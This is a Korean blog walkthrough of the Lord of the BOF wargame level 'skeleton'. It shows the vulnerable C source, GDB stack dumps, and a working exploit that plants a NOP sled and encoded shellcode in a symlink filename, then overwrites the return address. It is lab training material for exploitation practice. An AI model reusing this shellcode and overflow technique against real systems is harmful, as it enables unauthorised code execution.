- User : vampire
- 문제 : skeleton
skeleton.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); // Vunlerability!!! printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } | cs |
buffer와 환경변수, 모든 argv 영역을 초기화시키고 있습니다. 어디에 shellcode를 집어 넣어야 할지 망막할수 있지만 이전 문제까지 풀면서 GDB로 Stack 영역을 유심히 보았던 User라면 쉽게 접근할 수 있습니다. 필연적으로 환경변수 영역에서 자신의 명령어, 즉 실행 파일은 초기화될 수 없습니다. 바로 이 영역을 이용하여 문제를 해결할 수 있습니다.
Step 1. GDB로 buffer의 크기를 확인해 보면 40 Byte라는 것을 확인할 수 있고, 이어서 SFP와 RET가 위치해 있습니다.
Step 2. GDB를 이용하여 main() 함수에서 memset() 함수가 모두 실행된 후 Break Pointer로 잡아서 메모리 영역을 확인해 보면 아래와 같은 결과를 확인할 수 있습니다. Stack에 가장 하단(가장 높은 주소)에 초기화되지 않은 값을 확인할 수 있고, string으로 확인해 보면 "/home/vampire/tmp/skeleton" 즉, 실행 파일명이 존재합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | Breakpoint 1, 0x8048670 in main () (gdb) x/60x $esp 0xbffffaa8: 0x00000002 0x00000002 0x00000000 0x00000000 0xbffffab8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffac8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffad8: 0xbfbfbfbf 0xbfbfbfbf 0x00000000 0xbffffb24 0xbffffae8: 0xbffffb30 0x40013868 0x00000002 0x08048450 0xbffffaf8: 0x00000000 0x08048471 0x08048500 0x00000002 ... (gdb) 0xbffffd78: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd88: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd98: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffda8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdb8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdc8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdd8: 0x00000000 0x00000000 0x00000000 0x00000000 ... (gdb) 0xbfffffb8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffc8: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffd8: 0x00000000 0x00000000 0x6f682f00 0x762f656d 0xbfffffe8: 0x69706d61 0x742f6572 0x732f706d 0x656c656b 0xbffffff8: 0x006e6f74 0x00000000 Cannot access memory at address 0xc0000000 (gdb) x/40s 0xbfffffd8 ... 0xbfffffdf: "" 0xbfffffe0: "" 0xbfffffe1: "/home/vampire/tmp/skeleton" 0xbffffffc: "" | cs |
Step 3. 이제 NOP 코드와 shellcode로 구성된 skeleton의 링크 파일을 만듭니다. shellcode 뒤에 100 Byte의 NOP 코드를 준 이유는 shellcode와 Stack에 바닥이 너무 가까우면 shellcode가 정상적으로 실행되지 않습니다. (이전 문제와 마찬가지로 링크 파일명의 shellcode에는 "\x2f"가 존재하면 안됩니다.)
1 2 3 | ln -s skeleton `python -c 'print "juun"+"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01 \x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f \x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` | cs |
Step 4. 그리고 다음과 같은 payload를 만들 수 있습니다. RET 값을 해당 실행 파일명에 존재하는 메모리 주소로 수정하면 shellcode를 실행시킬 수 있습니다.
1 2 3 | ./`python -c 'print "juun"+"\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75 \xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a \xe2\x9a\xb1\x0c\xce\x81"+"\x90"*100'` `python -c 'print "A"*44+"\x30\xff\xff\xbf"'` | cs |
'WarGame > LOB' 카테고리의 다른 글
[LOB] golem :: Stack Frame Pointer Overflow (FPO) (0) | 2016.04.14 |
---|---|
[LOB] skeleton :: LD_PRELOAD를 이용한 BOF (0) | 2016.04.06 |
[LOB] troll :: Stack Escalate (0) | 2016.04.05 |
[LOB] orge :: 심볼릭 링크를 이용한 BOF (0) | 2016.04.05 |
[LOB] darkelf :: 심볼릭 링크를 통한 argv[0] 길이 제한 우회 (0) | 2016.04.05 |